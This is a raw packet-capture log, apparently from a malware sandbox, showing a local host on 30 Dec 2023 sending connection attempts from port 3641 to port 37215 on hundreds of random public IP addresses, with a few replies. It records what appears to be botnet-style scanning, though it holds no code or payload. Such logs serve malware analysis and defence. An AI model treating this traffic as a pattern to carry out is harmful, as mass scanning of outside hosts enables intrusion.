Dec 30, 2023 07:14:01.172426939 CET	3641	37215	192.168.2.23	197.106.50.144
Dec 30, 2023 07:14:01.172427893 CET	3641	37215	192.168.2.23	181.78.171.202
Dec 30, 2023 07:14:01.172435999 CET	3641	37215	192.168.2.23	94.3.227.134
Dec 30, 2023 07:14:01.172445059 CET	3641	37215	192.168.2.23	160.58.0.151
Dec 30, 2023 07:14:01.172446966 CET	3641	37215	192.168.2.23	190.11.188.48
Dec 30, 2023 07:14:01.172466993 CET	3641	37215	192.168.2.23	197.21.187.120
Dec 30, 2023 07:14:01.172466993 CET	3641	37215	192.168.2.23	121.200.51.103
Dec 30, 2023 07:14:01.172466993 CET	3641	37215	192.168.2.23	156.71.92.15
Dec 30, 2023 07:14:01.172472954 CET	3641	37215	192.168.2.23	41.54.19.25
Dec 30, 2023 07:14:01.172475100 CET	3641	37215	192.168.2.23	45.1.45.24
Dec 30, 2023 07:14:01.172475100 CET	3641	37215	192.168.2.23	102.245.24.55
Dec 30, 2023 07:14:01.172477007 CET	3641	37215	192.168.2.23	41.35.8.68
Dec 30, 2023 07:14:01.172487974 CET	3641	37215	192.168.2.23	41.21.186.147
Dec 30, 2023 07:14:01.172491074 CET	3641	37215	192.168.2.23	197.88.155.120
Dec 30, 2023 07:14:01.172493935 CET	3641	37215	192.168.2.23	197.114.92.210
Dec 30, 2023 07:14:01.172498941 CET	3641	37215	192.168.2.23	156.18.56.92
Dec 30, 2023 07:14:01.172504902 CET	3641	37215	192.168.2.23	156.59.253.206
Dec 30, 2023 07:14:01.172508001 CET	3641	37215	192.168.2.23	37.112.84.222
Dec 30, 2023 07:14:01.172513008 CET	3641	37215	192.168.2.23	94.108.181.201
Dec 30, 2023 07:14:01.172519922 CET	3641	37215	192.168.2.23	197.79.108.41
Dec 30, 2023 07:14:01.172523022 CET	3641	37215	192.168.2.23	197.103.166.128
Dec 30, 2023 07:14:01.172524929 CET	3641	37215	192.168.2.23	154.221.208.142
Dec 30, 2023 07:14:01.172524929 CET	3641	37215	192.168.2.23	92.14.181.157
Dec 30, 2023 07:14:01.172532082 CET	3641	37215	192.168.2.23	120.67.244.44
Dec 30, 2023 07:14:01.172537088 CET	3641	37215	192.168.2.23	197.137.26.108
Dec 30, 2023 07:14:01.172543049 CET	3641	37215	192.168.2.23	156.80.16.151
Dec 30, 2023 07:14:01.172544956 CET	3641	37215	192.168.2.23	37.43.189.97
Dec 30, 2023 07:14:01.172557116 CET	3641	37215	192.168.2.23	92.149.177.56
Dec 30, 2023 07:14:01.172561884 CET	3641	37215	192.168.2.23	197.149.134.190
Dec 30, 2023 07:14:01.172564983 CET	3641	37215	192.168.2.23	37.220.192.240
Dec 30, 2023 07:14:01.172565937 CET	3641	37215	192.168.2.23	197.114.66.41
Dec 30, 2023 07:14:01.172564983 CET	3641	37215	192.168.2.23	156.222.117.35
Dec 30, 2023 07:14:01.172568083 CET	3641	37215	192.168.2.23	41.185.190.77
Dec 30, 2023 07:14:01.172568083 CET	3641	37215	192.168.2.23	196.17.175.191
Dec 30, 2023 07:14:01.172574043 CET	3641	37215	192.168.2.23	41.34.239.80
Dec 30, 2023 07:14:01.172575951 CET	3641	37215	192.168.2.23	197.113.212.194
Dec 30, 2023 07:14:01.172576904 CET	3641	37215	192.168.2.23	37.6.142.199
Dec 30, 2023 07:14:01.172585964 CET	3641	37215	192.168.2.23	197.98.81.74
Dec 30, 2023 07:14:01.172588110 CET	3641	37215	192.168.2.23	160.124.70.5
Dec 30, 2023 07:14:01.172600031 CET	3641	37215	192.168.2.23	41.230.26.171
Dec 30, 2023 07:14:01.172605991 CET	3641	37215	192.168.2.23	138.148.7.23
Dec 30, 2023 07:14:01.172607899 CET	3641	37215	192.168.2.23	138.160.140.55
Dec 30, 2023 07:14:01.172610044 CET	3641	37215	192.168.2.23	156.237.160.47
Dec 30, 2023 07:14:01.172610998 CET	3641	37215	192.168.2.23	156.150.114.157
Dec 30, 2023 07:14:01.172621965 CET	3641	37215	192.168.2.23	122.191.242.121
Dec 30, 2023 07:14:01.172626019 CET	3641	37215	192.168.2.23	95.115.84.180
Dec 30, 2023 07:14:01.340251923 CET	37215	3641	156.242.93.249	192.168.2.23
Dec 30, 2023 07:14:01.431756973 CET	37215	3641	41.251.182.255	192.168.2.23
Dec 30, 2023 07:14:01.437602997 CET	37215	3641	41.140.2.163	192.168.2.23
Dec 30, 2023 07:14:01.472913980 CET	37215	3641	122.116.40.27	192.168.2.23
Dec 30, 2023 07:14:01.475197077 CET	37215	3641	37.29.66.79	192.168.2.23
Dec 30, 2023 07:14:01.476077080 CET	37215	3641	222.68.132.114	192.168.2.23
Dec 30, 2023 07:14:01.476133108 CET	37215	3641	121.159.85.79	192.168.2.23
Dec 30, 2023 07:14:01.484281063 CET	37215	3641	222.65.171.44	192.168.2.23
Dec 30, 2023 07:14:01.489801884 CET	37215	3641	222.70.192.6	192.168.2.23
Dec 30, 2023 07:14:01.519346952 CET	37215	3641	45.112.78.78	192.168.2.23
Dec 30, 2023 07:14:01.534323931 CET	37215	3641	196.200.226.194	192.168.2.23
Dec 30, 2023 07:14:01.896346092 CET	34874	37215	192.168.2.23	154.38.240.187
Dec 30, 2023 07:14:02.173640966 CET	3641	37215	192.168.2.23	190.108.105.70
Dec 30, 2023 07:14:02.173643112 CET	3641	37215	192.168.2.23	41.79.169.207
Dec 30, 2023 07:14:02.173648119 CET	3641	37215	192.168.2.23	197.193.120.84
Dec 30, 2023 07:14:02.173648119 CET	3641	37215	192.168.2.23	197.209.231.239
Dec 30, 2023 07:14:02.173654079 CET	3641	37215	192.168.2.23	197.56.96.242
Dec 30, 2023 07:14:02.173654079 CET	3641	37215	192.168.2.23	156.157.61.246
Dec 30, 2023 07:14:02.173660040 CET	3641	37215	192.168.2.23	196.8.41.41
Dec 30, 2023 07:14:02.173660040 CET	3641	37215	192.168.2.23	197.227.2.92
Dec 30, 2023 07:14:02.173661947 CET	3641	37215	192.168.2.23	156.118.231.188
Dec 30, 2023 07:14:02.173666954 CET	3641	37215	192.168.2.23	196.185.212.23
Dec 30, 2023 07:14:02.173666954 CET	3641	37215	192.168.2.23	157.220.28.119
Dec 30, 2023 07:14:02.173669100 CET	3641	37215	192.168.2.23	197.38.122.120
Dec 30, 2023 07:14:02.173669100 CET	3641	37215	192.168.2.23	41.213.173.138
Dec 30, 2023 07:14:02.173676968 CET	3641	37215	192.168.2.23	41.150.143.209
Dec 30, 2023 07:14:02.173676968 CET	3641	37215	192.168.2.23	197.130.196.226
Dec 30, 2023 07:14:02.173680067 CET	3641	37215	192.168.2.23	41.83.39.11
Dec 30, 2023 07:14:02.173680067 CET	3641	37215	192.168.2.23	186.7.190.126
Dec 30, 2023 07:14:02.173686028 CET	3641	37215	192.168.2.23	156.246.17.236
Dec 30, 2023 07:14:02.173686028 CET	3641	37215	192.168.2.23	41.227.5.66
Dec 30, 2023 07:14:02.173686028 CET	3641	37215	192.168.2.23	41.154.238.94
Dec 30, 2023 07:14:02.173687935 CET	3641	37215	192.168.2.23	41.105.171.130
Dec 30, 2023 07:14:02.173686028 CET	3641	37215	192.168.2.23	138.155.137.85
Dec 30, 2023 07:14:02.173724890 CET	3641	37215	192.168.2.23	156.28.80.239
Dec 30, 2023 07:14:02.173732042 CET	3641	37215	192.168.2.23	138.148.67.46
Dec 30, 2023 07:14:02.173768044 CET	3641	37215	192.168.2.23	95.150.215.236
Dec 30, 2023 07:14:02.173784971 CET	3641	37215	192.168.2.23	197.167.233.10
Dec 30, 2023 07:14:02.173799992 CET	3641	37215	192.168.2.23	102.22.85.152
Dec 30, 2023 07:14:02.173840046 CET	3641	37215	192.168.2.23	197.195.135.42
Dec 30, 2023 07:14:02.173850060 CET	3641	37215	192.168.2.23	156.241.177.104
Dec 30, 2023 07:14:02.173856020 CET	3641	37215	192.168.2.23	197.180.6.171
Dec 30, 2023 07:14:02.173899889 CET	3641	37215	192.168.2.23	41.248.194.82
Dec 30, 2023 07:14:02.173906088 CET	3641	37215	192.168.2.23	156.34.188.97
Dec 30, 2023 07:14:02.173909903 CET	3641	37215	192.168.2.23	41.126.89.186
Dec 30, 2023 07:14:02.173909903 CET	3641	37215	192.168.2.23	197.178.184.72
Dec 30, 2023 07:14:02.173909903 CET	3641	37215	192.168.2.23	156.218.65.234
Dec 30, 2023 07:14:02.173928976 CET	3641	37215	192.168.2.23	181.245.87.180
Dec 30, 2023 07:14:02.173962116 CET	3641	37215	192.168.2.23	92.168.145.255
Dec 30, 2023 07:14:02.173976898 CET	3641	37215	192.168.2.23	138.201.212.70
Dec 30, 2023 07:14:02.173980951 CET	3641	37215	192.168.2.23	197.21.173.123
Dec 30, 2023 07:14:02.173980951 CET	3641	37215	192.168.2.23	197.81.60.108
Dec 30, 2023 07:14:02.173984051 CET	3641	37215	192.168.2.23	197.91.74.189
Dec 30, 2023 07:14:02.173994064 CET	3641	37215	192.168.2.23	197.108.187.202
Dec 30, 2023 07:14:02.174026966 CET	3641	37215	192.168.2.23	197.206.86.38
Dec 30, 2023 07:14:02.174026966 CET	3641	37215	192.168.2.23	197.61.131.231
Dec 30, 2023 07:14:02.174031019 CET	3641	37215	192.168.2.23	41.135.233.214
Dec 30, 2023 07:14:02.174046040 CET	3641	37215	192.168.2.23	156.78.244.23
Dec 30, 2023 07:14:02.174082041 CET	3641	37215	192.168.2.23	41.183.78.145
Dec 30, 2023 07:14:02.174093008 CET	3641	37215	192.168.2.23	157.167.94.18
Dec 30, 2023 07:14:02.174093008 CET	3641	37215	192.168.2.23	156.105.98.22
Dec 30, 2023 07:14:02.174097061 CET	3641	37215	192.168.2.23	122.96.225.0
Dec 30, 2023 07:14:02.174124002 CET	3641	37215	192.168.2.23	197.68.45.143
Dec 30, 2023 07:14:02.174127102 CET	3641	37215	192.168.2.23	120.130.208.158
Dec 30, 2023 07:14:02.174127102 CET	3641	37215	192.168.2.23	156.92.1.206
Dec 30, 2023 07:14:02.174129963 CET	3641	37215	192.168.2.23	181.170.136.12
Dec 30, 2023 07:14:02.174138069 CET	3641	37215	192.168.2.23	197.231.82.71
Dec 30, 2023 07:14:02.174155951 CET	3641	37215	192.168.2.23	41.7.30.126
Dec 30, 2023 07:14:02.174174070 CET	3641	37215	192.168.2.23	107.180.52.59
Dec 30, 2023 07:14:02.174197912 CET	3641	37215	192.168.2.23	197.122.105.14
Dec 30, 2023 07:14:02.174201965 CET	3641	37215	192.168.2.23	138.240.155.233
Dec 30, 2023 07:14:02.174230099 CET	3641	37215	192.168.2.23	41.19.158.69
Dec 30, 2023 07:14:02.174231052 CET	3641	37215	192.168.2.23	197.72.162.50
Dec 30, 2023 07:14:02.174232006 CET	3641	37215	192.168.2.23	41.116.97.70
Dec 30, 2023 07:14:02.174235106 CET	3641	37215	192.168.2.23	102.129.20.53
Dec 30, 2023 07:14:02.174257994 CET	3641	37215	192.168.2.23	157.172.104.249
Dec 30, 2023 07:14:02.174261093 CET	3641	37215	192.168.2.23	197.193.195.185
Dec 30, 2023 07:14:02.174263954 CET	3641	37215	192.168.2.23	156.32.182.101
Dec 30, 2023 07:14:02.174280882 CET	3641	37215	192.168.2.23	156.163.138.247
Dec 30, 2023 07:14:02.174283028 CET	3641	37215	192.168.2.23	41.10.95.249
Dec 30, 2023 07:14:02.174305916 CET	3641	37215	192.168.2.23	197.253.114.164
Dec 30, 2023 07:14:02.174324036 CET	3641	37215	192.168.2.23	41.11.253.164
Dec 30, 2023 07:14:02.174335957 CET	3641	37215	192.168.2.23	186.29.232.53
Dec 30, 2023 07:14:02.174355030 CET	3641	37215	192.168.2.23	41.128.44.22
Dec 30, 2023 07:14:02.174379110 CET	3641	37215	192.168.2.23	156.214.162.63
Dec 30, 2023 07:14:02.174379110 CET	3641	37215	192.168.2.23	102.164.177.148
Dec 30, 2023 07:14:02.174380064 CET	3641	37215	192.168.2.23	197.144.175.197
Dec 30, 2023 07:14:02.174386024 CET	3641	37215	192.168.2.23	107.185.223.203
Dec 30, 2023 07:14:02.174388885 CET	3641	37215	192.168.2.23	190.132.37.124
Dec 30, 2023 07:14:02.174388885 CET	3641	37215	192.168.2.23	197.97.144.41
Dec 30, 2023 07:14:02.174390078 CET	3641	37215	192.168.2.23	95.19.9.108
Dec 30, 2023 07:14:02.174388885 CET	3641	37215	192.168.2.23	197.173.2.72
Dec 30, 2023 07:14:02.174390078 CET	3641	37215	192.168.2.23	156.84.10.59
Dec 30, 2023 07:14:02.174410105 CET	3641	37215	192.168.2.23	222.138.236.168
Dec 30, 2023 07:14:02.174410105 CET	3641	37215	192.168.2.23	197.188.95.85
Dec 30, 2023 07:14:02.174411058 CET	3641	37215	192.168.2.23	196.9.170.156
Dec 30, 2023 07:14:02.174418926 CET	3641	37215	192.168.2.23	156.154.223.62
Dec 30, 2023 07:14:02.174421072 CET	3641	37215	192.168.2.23	156.190.215.197
Dec 30, 2023 07:14:02.174422026 CET	3641	37215	192.168.2.23	41.214.124.151
Dec 30, 2023 07:14:02.174422026 CET	3641	37215	192.168.2.23	156.108.25.93
Dec 30, 2023 07:14:02.174422026 CET	3641	37215	192.168.2.23	41.160.74.56
Dec 30, 2023 07:14:02.174448013 CET	3641	37215	192.168.2.23	156.241.70.72
Dec 30, 2023 07:14:02.174453020 CET	3641	37215	192.168.2.23	154.140.59.16
Dec 30, 2023 07:14:02.174469948 CET	3641	37215	192.168.2.23	181.80.239.237
Dec 30, 2023 07:14:02.174503088 CET	3641	37215	192.168.2.23	107.223.34.46
Dec 30, 2023 07:14:02.174505949 CET	3641	37215	192.168.2.23	41.27.13.95
Dec 30, 2023 07:14:02.174520016 CET	3641	37215	192.168.2.23	197.125.45.67
Dec 30, 2023 07:14:02.174539089 CET	3641	37215	192.168.2.23	197.98.71.212
Dec 30, 2023 07:14:02.174549103 CET	3641	37215	192.168.2.23	156.134.71.26
Dec 30, 2023 07:14:02.174577951 CET	3641	37215	192.168.2.23	197.175.204.191
Dec 30, 2023 07:14:02.174595118 CET	3641	37215	192.168.2.23	181.104.116.101
Dec 30, 2023 07:14:02.174612045 CET	3641	37215	192.168.2.23	41.45.214.47
Dec 30, 2023 07:14:02.174612999 CET	3641	37215	192.168.2.23	197.61.98.48
Dec 30, 2023 07:14:02.174640894 CET	3641	37215	192.168.2.23	41.59.197.118
Dec 30, 2023 07:14:02.174653053 CET	3641	37215	192.168.2.23	41.76.121.228
Dec 30, 2023 07:14:02.174675941 CET	3641	37215	192.168.2.23	94.11.8.210
Dec 30, 2023 07:14:02.174675941 CET	3641	37215	192.168.2.23	92.243.219.143
Dec 30, 2023 07:14:02.174679041 CET	3641	37215	192.168.2.23	156.161.5.35
Dec 30, 2023 07:14:02.174679041 CET	3641	37215	192.168.2.23	197.145.22.124
Dec 30, 2023 07:14:02.174685001 CET	3641	37215	192.168.2.23	41.158.193.11
Dec 30, 2023 07:14:02.174706936 CET	3641	37215	192.168.2.23	186.125.129.152
Dec 30, 2023 07:14:02.174722910 CET	3641	37215	192.168.2.23	197.255.198.158
Dec 30, 2023 07:14:02.174742937 CET	3641	37215	192.168.2.23	197.195.15.214
Dec 30, 2023 07:14:02.174763918 CET	3641	37215	192.168.2.23	197.249.224.171
Dec 30, 2023 07:14:02.174787998 CET	3641	37215	192.168.2.23	186.58.60.2
Dec 30, 2023 07:14:02.174792051 CET	3641	37215	192.168.2.23	41.89.233.55
Dec 30, 2023 07:14:02.174793005 CET	3641	37215	192.168.2.23	196.27.106.222
Dec 30, 2023 07:14:02.174803019 CET	3641	37215	192.168.2.23	156.203.211.230
Dec 30, 2023 07:14:02.174820900 CET	3641	37215	192.168.2.23	190.253.166.189
Dec 30, 2023 07:14:02.174822092 CET	3641	37215	192.168.2.23	197.201.88.83
Dec 30, 2023 07:14:02.174822092 CET	3641	37215	192.168.2.23	156.115.170.215
Dec 30, 2023 07:14:02.174823999 CET	3641	37215	192.168.2.23	157.5.249.51
Dec 30, 2023 07:14:02.174833059 CET	3641	37215	192.168.2.23	156.50.219.15
Dec 30, 2023 07:14:02.174833059 CET	3641	37215	192.168.2.23	156.3.192.176
Dec 30, 2023 07:14:02.174834967 CET	3641	37215	192.168.2.23	197.43.120.1
Dec 30, 2023 07:14:02.174834967 CET	3641	37215	192.168.2.23	156.73.72.49
Dec 30, 2023 07:14:02.174854994 CET	3641	37215	192.168.2.23	157.105.107.124
Dec 30, 2023 07:14:02.174870968 CET	3641	37215	192.168.2.23	197.114.151.175
Dec 30, 2023 07:14:02.174885035 CET	3641	37215	192.168.2.23	41.250.75.147
Dec 30, 2023 07:14:02.174910069 CET	3641	37215	192.168.2.23	156.155.105.202
Dec 30, 2023 07:14:02.174921989 CET	3641	37215	192.168.2.23	156.131.185.242
Dec 30, 2023 07:14:02.174940109 CET	3641	37215	192.168.2.23	156.15.185.137
Dec 30, 2023 07:14:02.174942017 CET	3641	37215	192.168.2.23	156.28.230.86
Dec 30, 2023 07:14:02.174968004 CET	3641	37215	192.168.2.23	41.125.171.45
Dec 30, 2023 07:14:02.174978971 CET	3641	37215	192.168.2.23	138.183.189.251
Dec 30, 2023 07:14:02.174993992 CET	3641	37215	192.168.2.23	222.38.13.127
Dec 30, 2023 07:14:02.175020933 CET	3641	37215	192.168.2.23	197.120.187.177
Dec 30, 2023 07:14:02.175048113 CET	3641	37215	192.168.2.23	186.49.87.27
Dec 30, 2023 07:14:02.175049067 CET	3641	37215	192.168.2.23	197.97.245.241
Dec 30, 2023 07:14:02.175050974 CET	3641	37215	192.168.2.23	197.12.193.253
Dec 30, 2023 07:14:02.175065041 CET	3641	37215	192.168.2.23	95.239.182.158
Dec 30, 2023 07:14:02.175071001 CET	3641	37215	192.168.2.23	156.31.181.250
Dec 30, 2023 07:14:02.175071955 CET	3641	37215	192.168.2.23	197.34.102.58
Dec 30, 2023 07:14:02.175072908 CET	3641	37215	192.168.2.23	181.100.170.183
Dec 30, 2023 07:14:02.175092936 CET	3641	37215	192.168.2.23	41.191.51.152
Dec 30, 2023 07:14:02.175095081 CET	3641	37215	192.168.2.23	102.81.20.45
Dec 30, 2023 07:14:02.175115108 CET	3641	37215	192.168.2.23	197.120.172.196
Dec 30, 2023 07:14:02.175131083 CET	3641	37215	192.168.2.23	190.134.48.112
Dec 30, 2023 07:14:02.175132990 CET	3641	37215	192.168.2.23	45.32.255.228
Dec 30, 2023 07:14:02.175158024 CET	3641	37215	192.168.2.23	37.190.224.84
Dec 30, 2023 07:14:02.175163031 CET	3641	37215	192.168.2.23	92.94.208.49
Dec 30, 2023 07:14:02.175185919 CET	3641	37215	192.168.2.23	197.169.165.194
Dec 30, 2023 07:14:02.175210953 CET	3641	37215	192.168.2.23	197.56.98.78
Dec 30, 2023 07:14:02.175214052 CET	3641	37215	192.168.2.23	197.61.116.92
Dec 30, 2023 07:14:02.175214052 CET	3641	37215	192.168.2.23	156.123.65.75
Dec 30, 2023 07:14:02.175220966 CET	3641	37215	192.168.2.23	156.210.207.76
Dec 30, 2023 07:14:02.175223112 CET	3641	37215	192.168.2.23	156.198.95.250
Dec 30, 2023 07:14:02.175223112 CET	3641	37215	192.168.2.23	156.237.8.241
Dec 30, 2023 07:14:02.175228119 CET	3641	37215	192.168.2.23	92.207.218.144
Dec 30, 2023 07:14:02.175244093 CET	3641	37215	192.168.2.23	156.62.226.71
Dec 30, 2023 07:14:02.175249100 CET	3641	37215	192.168.2.23	197.161.234.165
Dec 30, 2023 07:14:02.175249100 CET	3641	37215	192.168.2.23	138.116.47.57
Dec 30, 2023 07:14:02.175252914 CET	3641	37215	192.168.2.23	107.110.181.157
Dec 30, 2023 07:14:02.175272942 CET	3641	37215	192.168.2.23	107.129.124.212
Dec 30, 2023 07:14:02.175292969 CET	3641	37215	192.168.2.23	41.52.93.130
Dec 30, 2023 07:14:02.175312042 CET	3641	37215	192.168.2.23	41.37.237.31
Dec 30, 2023 07:14:02.175333977 CET	3641	37215	192.168.2.23	186.89.73.247
Dec 30, 2023 07:14:02.175335884 CET	3641	37215	192.168.2.23	41.128.44.228
Dec 30, 2023 07:14:02.175355911 CET	3641	37215	192.168.2.23	197.65.217.206
Dec 30, 2023 07:14:02.175363064 CET	3641	37215	192.168.2.23	197.188.228.196
Dec 30, 2023 07:14:02.175380945 CET	3641	37215	192.168.2.23	197.88.69.91
Dec 30, 2023 07:14:02.175401926 CET	3641	37215	192.168.2.23	41.192.97.14
Dec 30, 2023 07:14:02.175403118 CET	3641	37215	192.168.2.23	156.142.13.200
Dec 30, 2023 07:14:02.175403118 CET	3641	37215	192.168.2.23	157.54.133.209
Dec 30, 2023 07:14:02.175404072 CET	3641	37215	192.168.2.23	41.60.225.150
Dec 30, 2023 07:14:02.175404072 CET	3641	37215	192.168.2.23	41.104.40.224
Dec 30, 2023 07:14:02.175404072 CET	3641	37215	192.168.2.23	41.85.30.128
Dec 30, 2023 07:14:02.175410986 CET	3641	37215	192.168.2.23	94.175.70.121
Dec 30, 2023 07:14:02.175422907 CET	3641	37215	192.168.2.23	197.36.126.45
Dec 30, 2023 07:14:02.175448895 CET	3641	37215	192.168.2.23	41.242.138.235
Dec 30, 2023 07:14:02.175465107 CET	3641	37215	192.168.2.23	156.71.149.78
Dec 30, 2023 07:14:02.175479889 CET	3641	37215	192.168.2.23	197.197.118.86
Dec 30, 2023 07:14:02.175501108 CET	3641	37215	192.168.2.23	92.26.182.239
Dec 30, 2023 07:14:02.175519943 CET	3641	37215	192.168.2.23	120.218.81.80
Dec 30, 2023 07:14:02.175549984 CET	3641	37215	192.168.2.23	107.207.123.185
Dec 30, 2023 07:14:02.175549984 CET	3641	37215	192.168.2.23	156.76.155.84
Dec 30, 2023 07:14:02.175569057 CET	3641	37215	192.168.2.23	186.50.217.192
Dec 30, 2023 07:14:02.175575018 CET	3641	37215	192.168.2.23	45.95.125.133
Dec 30, 2023 07:14:02.175575018 CET	3641	37215	192.168.2.23	197.243.114.148
Dec 30, 2023 07:14:02.175575018 CET	3641	37215	192.168.2.23	37.21.56.117
Dec 30, 2023 07:14:02.175575018 CET	3641	37215	192.168.2.23	156.252.108.1
Dec 30, 2023 07:14:02.175580025 CET	3641	37215	192.168.2.23	41.140.239.70
Dec 30, 2023 07:14:02.175580025 CET	3641	37215	192.168.2.23	190.199.33.200
Dec 30, 2023 07:14:02.175601006 CET	3641	37215	192.168.2.23	156.108.245.180
Dec 30, 2023 07:14:02.175621033 CET	3641	37215	192.168.2.23	156.233.50.147
Dec 30, 2023 07:14:02.175647020 CET	3641	37215	192.168.2.23	156.132.203.165
Dec 30, 2023 07:14:02.175661087 CET	3641	37215	192.168.2.23	197.199.250.166
Dec 30, 2023 07:14:02.175682068 CET	3641	37215	192.168.2.23	154.151.89.138
Dec 30, 2023 07:14:02.175683022 CET	3641	37215	192.168.2.23	154.236.205.136
Dec 30, 2023 07:14:02.175688982 CET	3641	37215	192.168.2.23	102.18.31.234
Dec 30, 2023 07:14:02.175690889 CET	3641	37215	192.168.2.23	41.111.17.116
Dec 30, 2023 07:14:02.175712109 CET	3641	37215	192.168.2.23	41.249.65.239
Dec 30, 2023 07:14:02.175714970 CET	3641	37215	192.168.2.23	45.46.252.119
Dec 30, 2023 07:14:02.175718069 CET	3641	37215	192.168.2.23	41.97.242.51
Dec 30, 2023 07:14:02.175719976 CET	3641	37215	192.168.2.23	41.192.130.137
Dec 30, 2023 07:14:02.175746918 CET	3641	37215	192.168.2.23	197.81.253.95
Dec 30, 2023 07:14:02.175775051 CET	3641	37215	192.168.2.23	160.160.213.52
Dec 30, 2023 07:14:02.175781012 CET	3641	37215	192.168.2.23	156.179.196.167
Dec 30, 2023 07:14:02.175781965 CET	3641	37215	192.168.2.23	102.185.104.110
Dec 30, 2023 07:14:02.175785065 CET	3641	37215	192.168.2.23	102.101.105.93
Dec 30, 2023 07:14:02.175806046 CET	3641	37215	192.168.2.23	197.10.161.68
Dec 30, 2023 07:14:02.175822020 CET	3641	37215	192.168.2.23	41.93.210.54
Dec 30, 2023 07:14:02.175826073 CET	3641	37215	192.168.2.23	41.49.48.34
Dec 30, 2023 07:14:02.175837040 CET	3641	37215	192.168.2.23	156.48.142.125
Dec 30, 2023 07:14:02.175859928 CET	3641	37215	192.168.2.23	197.70.228.180
Dec 30, 2023 07:14:02.175859928 CET	3641	37215	192.168.2.23	197.26.21.111
Dec 30, 2023 07:14:02.175878048 CET	3641	37215	192.168.2.23	197.90.139.198
Dec 30, 2023 07:14:02.175893068 CET	3641	37215	192.168.2.23	154.163.193.28
Dec 30, 2023 07:14:02.175909042 CET	3641	37215	192.168.2.23	41.68.239.126
Dec 30, 2023 07:14:02.175914049 CET	3641	37215	192.168.2.23	41.24.248.236
Dec 30, 2023 07:14:02.175915003 CET	3641	37215	192.168.2.23	41.129.45.220
Dec 30, 2023 07:14:02.175915956 CET	3641	37215	192.168.2.23	41.235.62.14
Dec 30, 2023 07:14:02.175920963 CET	3641	37215	192.168.2.23	41.236.144.138
Dec 30, 2023 07:14:02.175931931 CET	3641	37215	192.168.2.23	197.44.230.77
Dec 30, 2023 07:14:02.175931931 CET	3641	37215	192.168.2.23	156.46.213.179
Dec 30, 2023 07:14:02.175934076 CET	3641	37215	192.168.2.23	197.163.60.104
Dec 30, 2023 07:14:02.175942898 CET	3641	37215	192.168.2.23	102.125.12.53
Dec 30, 2023 07:14:02.175944090 CET	3641	37215	192.168.2.23	41.92.119.203
Dec 30, 2023 07:14:02.175952911 CET	3641	37215	192.168.2.23	157.8.190.60
Dec 30, 2023 07:14:02.175967932 CET	3641	37215	192.168.2.23	41.84.57.34
Dec 30, 2023 07:14:02.175988913 CET	3641	37215	192.168.2.23	197.103.147.134
Dec 30, 2023 07:14:02.175993919 CET	3641	37215	192.168.2.23	156.14.159.135
Dec 30, 2023 07:14:02.176022053 CET	3641	37215	192.168.2.23	41.216.131.147
Dec 30, 2023 07:14:02.176042080 CET	3641	37215	192.168.2.23	197.117.200.115
Dec 30, 2023 07:14:02.176048040 CET	3641	37215	192.168.2.23	197.232.47.115
Dec 30, 2023 07:14:02.176064968 CET	3641	37215	192.168.2.23	156.98.66.254
Dec 30, 2023 07:14:02.176099062 CET	3641	37215	192.168.2.23	197.211.208.9
Dec 30, 2023 07:14:02.176099062 CET	3641	37215	192.168.2.23	41.76.155.48
Dec 30, 2023 07:14:02.176112890 CET	3641	37215	192.168.2.23	197.204.86.6
Dec 30, 2023 07:14:02.176130056 CET	3641	37215	192.168.2.23	156.213.107.104
Dec 30, 2023 07:14:02.176130056 CET	3641	37215	192.168.2.23	197.15.150.192
Dec 30, 2023 07:14:02.176130056 CET	3641	37215	192.168.2.23	197.106.40.103
Dec 30, 2023 07:14:02.176135063 CET	3641	37215	192.168.2.23	138.57.78.86
Dec 30, 2023 07:14:02.176148891 CET	3641	37215	192.168.2.23	102.22.75.249
Dec 30, 2023 07:14:02.176182985 CET	3641	37215	192.168.2.23	157.214.248.239
Dec 30, 2023 07:14:02.176184893 CET	3641	37215	192.168.2.23	197.117.67.159
Dec 30, 2023 07:14:02.176203966 CET	3641	37215	192.168.2.23	197.151.215.128
Dec 30, 2023 07:14:02.176206112 CET	3641	37215	192.168.2.23	41.4.227.11
Dec 30, 2023 07:14:02.176206112 CET	3641	37215	192.168.2.23	156.170.245.125
Dec 30, 2023 07:14:02.176214933 CET	3641	37215	192.168.2.23	156.255.55.231
Dec 30, 2023 07:14:02.176214933 CET	3641	37215	192.168.2.23	41.199.155.2
Dec 30, 2023 07:14:02.176214933 CET	3641	37215	192.168.2.23	41.158.249.246
Dec 30, 2023 07:14:02.176245928 CET	3641	37215	192.168.2.23	197.154.15.154
Dec 30, 2023 07:14:02.176253080 CET	3641	37215	192.168.2.23	156.91.136.114
Dec 30, 2023 07:14:02.176292896 CET	3641	37215	192.168.2.23	41.55.114.161
Dec 30, 2023 07:14:02.176309109 CET	3641	37215	192.168.2.23	122.128.171.47
Dec 30, 2023 07:14:02.176321030 CET	3641	37215	192.168.2.23	197.134.186.17
Dec 30, 2023 07:14:02.176326990 CET	3641	37215	192.168.2.23	41.64.252.93
Dec 30, 2023 07:14:02.176326990 CET	3641	37215	192.168.2.23	197.186.116.161
Dec 30, 2023 07:14:02.176340103 CET	3641	37215	192.168.2.23	92.248.25.23
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	41.117.14.242
Dec 30, 2023 07:14:02.176340103 CET	3641	37215	192.168.2.23	156.135.223.28
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	156.62.219.173
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	41.115.181.39
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	41.229.94.196
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	197.87.132.13
Dec 30, 2023 07:14:02.176341057 CET	3641	37215	192.168.2.23	190.80.25.92
Dec 30, 2023 07:14:02.176348925 CET	3641	37215	192.168.2.23	197.14.213.47
Dec 30, 2023 07:14:02.176352978 CET	3641	37215	192.168.2.23	41.160.181.111
Dec 30, 2023 07:14:02.176369905 CET	3641	37215	192.168.2.23	222.204.208.130
Dec 30, 2023 07:14:02.176414013 CET	3641	37215	192.168.2.23	41.127.11.199
Dec 30, 2023 07:14:02.176438093 CET	3641	37215	192.168.2.23	197.194.166.157
Dec 30, 2023 07:14:02.176472902 CET	3641	37215	192.168.2.23	197.117.25.82
Dec 30, 2023 07:14:02.176511049 CET	3641	37215	192.168.2.23	197.79.77.189
Dec 30, 2023 07:14:02.176517963 CET	3641	37215	192.168.2.23	222.106.169.146
Dec 30, 2023 07:14:02.176517963 CET	3641	37215	192.168.2.23	41.186.25.254
Dec 30, 2023 07:14:02.176521063 CET	3641	37215	192.168.2.23	156.208.160.224
